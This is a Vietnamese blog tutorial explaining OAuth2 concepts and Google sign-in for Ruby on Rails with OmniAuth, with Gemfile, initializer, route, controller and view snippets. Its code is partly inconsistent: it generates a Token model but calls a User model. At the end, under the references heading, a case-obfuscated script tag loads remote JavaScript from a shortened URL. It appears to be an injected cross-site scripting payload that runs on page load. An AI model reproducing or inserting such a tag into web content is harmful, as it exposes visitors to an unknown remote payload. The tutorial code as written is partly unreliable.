Sử Dụng OAuth2 Để Chứng Thực Trong Rails

railsAPI.jpg

I. Intro

Chào các bạn, đến hẹn lại lên. Hôm nay mình dành chút thời gian viết bài về cách chứng thực hay còn gọi là Authentication trên Rails. Bài viết này mình chỉ dịch trên 1 bài viết khác và có bổ sung thêm.

Vậy Authentication là gì Wiki có định nghĩa ở đây các bạn có thể tham khảo: là một hành động nhằm thiết lập hoặc chứng thực một cái gì đó (hoặc một người nào đó) đáng tin cậy, có nghĩa là, những lời khai báo do người đó đưa ra hoặc về vật đó là sự thật. Hiểu nôm la là như vậy.

Cũng như nhiều ngôn ngữ lập trình khác trong Ruby on Rails có rất nhiều cách để chứng thực như:

Bài viết này mình sẽ hướng dẫn các bạn sử dụng OAuth2 để chứng thực trong Ruby on Rails.

Capture.PNG

II. OAuth2 với Google APIs

OAuth2 (Open Authorization) là một phương thức chứng thực cho phép các ứng dụng của bên thứ ba có quyền truy cập tới một HTTP Service, thay mặt chủ sở hữu sử dụng tài nguyên của mình (tất nhiên cần phải có sự cho phép của chủ tài khoản đó).

Khái niệm cơ bản

Trong OAuth2 chúng ta sẽ làm quen với 2 khái niệm RolesToken. Trong RolesToken có những gì chúng ta sẽ tìm hiểu ngay sau đây.

Roles

  • Resource Owner: chủ tài nguyên (Tài khoản Gmail của bạn).

  • Resource Server: server lưu trữ tài nguyên của Google.

  • Client: Người dùng gửi request để truy cập thông qua website.

  • Authorization Server: Server cung cấp token cho client. Token này sẽ được trả về và sử dụng khi có requets từ Client gửi tới.

Token: Là chuỗi ký tự ngẫu nhiên được tạo ra bởi Authorization Server và được cấp khi Client gửi request.

  • Access token: Token này được gửi từ Client như một parameters hoặc headers tới Resource Server, lifetime của nó được định nghĩa bởi Authorization Server.

  • Refresh token: Song hành cùng với Access token nhưng nó chỉ đơn thuần được gửi để renewing Access token khi lifetime hết thời gian hoạt động.

Đầu tiên bạn phải tạo 1 project để demo, vào console gõ lệnh sau:

rails new OAuth2

Tiếp theo là vào thư mục OAuth2 bạn vừa tạo và chạy bundle install để rails cài các gem cơ bản vào project của chúng ta. OK, vậy là ta đã có 1 project để là việc rồi đó.

Chúng ta sẽ cài thêm các gem cần thiết khác. Mở Gemfile ra và thêm các dòng này vào:

gem 'omniauth', '~> 1.2.2'
gem 'omniauth-google-oauth2'
gem 'json'

Cài đặt các gem vừa thêm vào ở trên bằng cách chạy lệnh:

bundle install

Login thông qua Google

Ta sử dụng thêm gem OmniAuth để kết nối với Google một cách dễ dàng hơn

gem 'omniauth', '~> 1.2.2'
gem 'omniauth-google-oauth2'

Tiếp theo bạn phải tạo file config để cấu hình các thông số kết nối với Google APIs

#config/initalizers/omniauth.rb
Rails.application.config.middleware.use OmniAuth::Builder do
  provider :google_oauth2, ENV['CLIENT_ID'], ENV['CLIENT_SECRET'], {
  scope: ['email',
    'https://www.googleapis.com/auth/gmail.modify'],
    access_type: 'offline'}
end

Ở đây ta thấy có 2 biến là ENV['CLIENT_ID'] và ENV['CLIENT_SECRET'] là key của Google cung cấp cho website sử dụng để đăng nhập thông qua nó.

Các bước để lấy key xác thực

google-developer-console-settings.png

Tạo callback tương ứng với Callback URL đã khai báo ở trên:

get '/auth/:provider/callback', to: 'sessions#create'
delete '/logout', to: 'sessions#destroy'

Sau khi gửi request, thông tin được Google APIs trả về được lưu trong các biến như sau:

request.env['access_token']
request.env['refresh_token']
request.env['expires_at']
request.env['expires']

Google will redirect back to your callback URL. Nếu như bạn nhìn thấy cái gì đó giống như bên dưới

omniauth-output.png

Thì chúng ta đã xác thực thành công với Google APIs rồi đó.

Bây giờ mình sẽ tạo Controller để xử request

class SessionsController < ApplicationController
  def create
    ....
  end
end

Tạo Model User bằng cách Generate migration

rake db:create
rails g model Token access_token:string refresh_token:string expires_at:datetime
rake db:migrate

Cập nhật SessionsController để lưu các thông tin Google APIs trả về:

# app/controllers/sessions_controller.rb
class SessionsController < ApplicationController
  def create
   begin
      @user = User.from_omniauth(request.env['omniauth.auth'])
      session[:user_id] = @user.id
      flash[:success] = "Welcome, #{@user.name}!"
    rescue
      flash[:warning] = "Error authenticate"
    end
    redirect_to root_path
  end
end

Tạo biến current_user để xác thực User đã login hay chưa login.

# application_controller.rb
private
def current_user
  @current_user ||= User.find_by(id: session[:user_id])
end

helper_method :current_user

Hiển thị kết quả ra màn hình trên view

<% if current_user %>
  <ul>
    <li><%= image_tag current_user.image_url, alt: current_user.name %></li>
    <li><%= link_to 'Log Out', logout_path, method: :delete %></li>
  </ul>
<% else %>
  <ul>
    <li><%= link_to 'Google APIs', '/auth/google_oauth2' %></li>
  </ul>
<% end %>

Xử lý logout khi người dùng thoát khỏi tài khoản đăng nhập bằng Email

def destroy
  if current_user
    session.delete(:user_id)
    flash[:success] = 'Goodbye!'
  end
  redirect_to root_path
end

Như vậy ở trên mình đã giới thiệu qua cách OAuth2 sử dụng tài khoản Google. Dịp khác mình sẽ giới thiệu với các bạn với tài khoản Facebook, bài viết với Facebook sẽ cụ thể hơn.

Vậy nhé chúc các bạn vui vẻ và có nhiều kiếm thức mới trên Viblo.asia.

III. Kết Luận

Với các dịch vụ đã cung cấp sẵn OAuth như kiểu Facebook, Twitter, Google, Github, ... họ đã xây dựng sẵn phần Server và cả những thư viện cũng như bộ SDK cho các nền tảng rồi. Ta chỉ việc lấy bộ thư viện (hoặc SDK) về tích hợp và sử dụng.

Qua bài viết này mình mong muốn rằng các bạn đã hiểu phần nào việc xác thực bằng OAuth2. Mọi thắc mắc hay ý kiến đóng góp xin để lại Comment phía dưới để chúng ta cùng thảo luận cho tài viết hoàn thiện hơn.

Xin cảm ơn các bạn đã ghé thăm bài viết này. Thanks (thankyou)

Tài liệu tham khảo

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>

All Rights Reserved